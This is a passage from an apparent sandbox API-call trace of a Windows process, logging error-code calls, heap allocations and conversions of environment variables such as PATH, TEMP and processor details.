0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.808] SetLastError (dwErrCode=0x0) [0041.808] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb3108) returned 0x1c [0041.809] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb3108, Size=0x20) returned 0x7bb3130 [0041.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0041.809] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x14) returned 0x7bab898 [0041.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x7bab898, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.809] GetLastError () returned 0x0 [0041.809] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb3130) returned 0x20 [0041.810] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb3130, Size=0x24) returned 0x7bb1708 [0041.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.810] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xd) returned 0x7b72b28 [0041.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x7b72b28, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.810] SetLastError (dwErrCode=0x0) [0041.810] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] SetLastError (dwErrCode=0x0) [0041.811] GetLastError () returned 0x0 [0041.811] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb1708) returned 0x24 [0041.811] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb1708, Size=0x28) returned 0x7bb16d8 [0041.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.811] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x25) returned 0x7bb1708 [0041.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x7bb1708, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0041.811] GetLastError () returned 0x0 [0041.811] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb16d8) returned 0x28 [0041.811] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb16d8, Size=0x2c) returned 0x7b5ff30 [0041.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0041.811] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x39) returned 0x7b7cc60 [0041.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x7b7cc60, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0041.811] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b5ff30) returned 0x2c [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b5ff30, Size=0x30) returned 0x7b5fec0 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.812] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x7bab938 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x7bab938, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0041.812] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b5fec0) returned 0x30 [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b5fec0, Size=0x34) returned 0x7baaee0 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.812] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x7bab8f8 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x7bab8f8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0041.812] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7baaee0) returned 0x34 [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7baaee0, Size=0x38) returned 0x7baaf20 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0041.812] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe) returned 0x7b72af8 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x7b72af8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0041.812] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7baaf20) returned 0x38 [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7baaf20, Size=0x3c) returned 0x7b7ccf0 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0041.812] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x69) returned 0x7b6f018 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x7b6f018, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0041.812] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b7ccf0) returned 0x3c [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b7ccf0, Size=0x40) returned 0x7b7cd38 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0041.812] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x3e) returned 0x7b7ccf0 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x7b7ccf0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0041.812] GetLastError () returned 0x0 [0041.812] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b7cd38) returned 0x40 [0041.812] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b7cd38, Size=0x44) returned 0x7b831e8 [0041.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x7bb3130 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x7bb3130, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0041.813] GetLastError () returned 0x0 [0041.813] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b831e8) returned 0x44 [0041.813] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b831e8, Size=0x48) returned 0x7b83238 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1d) returned 0x7bb3108 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x7bb3108, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0041.813] GetLastError () returned 0x0 [0041.813] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b83238) returned 0x48 [0041.813] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b83238, Size=0x4c) returned 0x7bb19a0 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x48) returned 0x7b83238 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x7b83238, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0041.813] GetLastError () returned 0x0 [0041.813] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb19a0) returned 0x4c [0041.813] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb19a0, Size=0x50) returned 0x7bb1aa8 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x12) returned 0x7bab958 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x7bab958, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0041.813] GetLastError () returned 0x0 [0041.813] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7bb1aa8) returned 0x50 [0041.813] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7bb1aa8, Size=0x54) returned 0x7b90420 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x18) returned 0x7bab918 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5e03", cchWideChar=-1, lpMultiByteStr=0x7bab918, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5e03", lpUsedDefaultChar=0x0) returned 24 [0041.813] GetLastError () returned 0x0 [0041.813] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b90420) returned 0x54 [0041.813] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b90420, Size=0x58) returned 0x7b90480 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0041.813] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1b) returned 0x7bb3158 [0041.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x7bb3158, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0041.813] GetLastError () returned 0x0 [0041.814] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b90480) returned 0x58 [0041.814] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b90480, Size=0x5c) returned 0x7af8d00 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.814] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x24) returned 0x7bb16d8 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x7bb16d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0041.814] GetLastError () returned 0x0 [0041.814] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7af8d00) returned 0x5c [0041.814] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7af8d00, Size=0x60) returned 0x7af8dd0 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.814] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x29) returned 0x7b5fec0 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x7b5fec0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0041.814] GetLastError () returned 0x0 [0041.814] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7af8dd0) returned 0x60 [0041.814] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7af8dd0, Size=0x64) returned 0x7aec430 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.814] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1e) returned 0x7bb3180 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x7bb3180, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0041.814] GetLastError () returned 0x0 [0041.814] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7aec430) returned 0x64 [0041.814] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7aec430, Size=0x68) returned 0x7aec510 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0041.814] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x41) returned 0x7b831e8 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x7b831e8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0041.814] GetLastError () returned 0x0 [0041.814] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7aec510) returned 0x68 [0041.814] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7aec510, Size=0x6c) returned 0x7b6f270 [0041.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x17) returned 0x7bab998 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x7bab998, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0041.815] GetLastError () returned 0x0 [0041.815] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b6f270) returned 0x6c [0041.815] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b6f270, Size=0x70) returned 0x7b6f2e8 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xf) returned 0x7b72b40 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x7b72b40, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0041.815] GetLastError () returned 0x0 [0041.815] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x7b6f2e8) returned 0x70 [0041.815] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x7b6f2e8, Size=0x74) returned 0x34b458 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x16) returned 0x7bab978 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x7bab978, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0041.815] GetLastError () returned 0x0 [0041.815] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34b458) returned 0x74 [0041.815] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x34b458, Size=0x78) returned 0x34b4d8 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0041.815] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x2a) returned 0x7b5ff30 [0041.815] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x7b5ff30, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0041.815] GetLastError () returned 0x0 [0041.815] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x34b4d8) returned 0x78 [0041.815] RtlReAllocateHeap 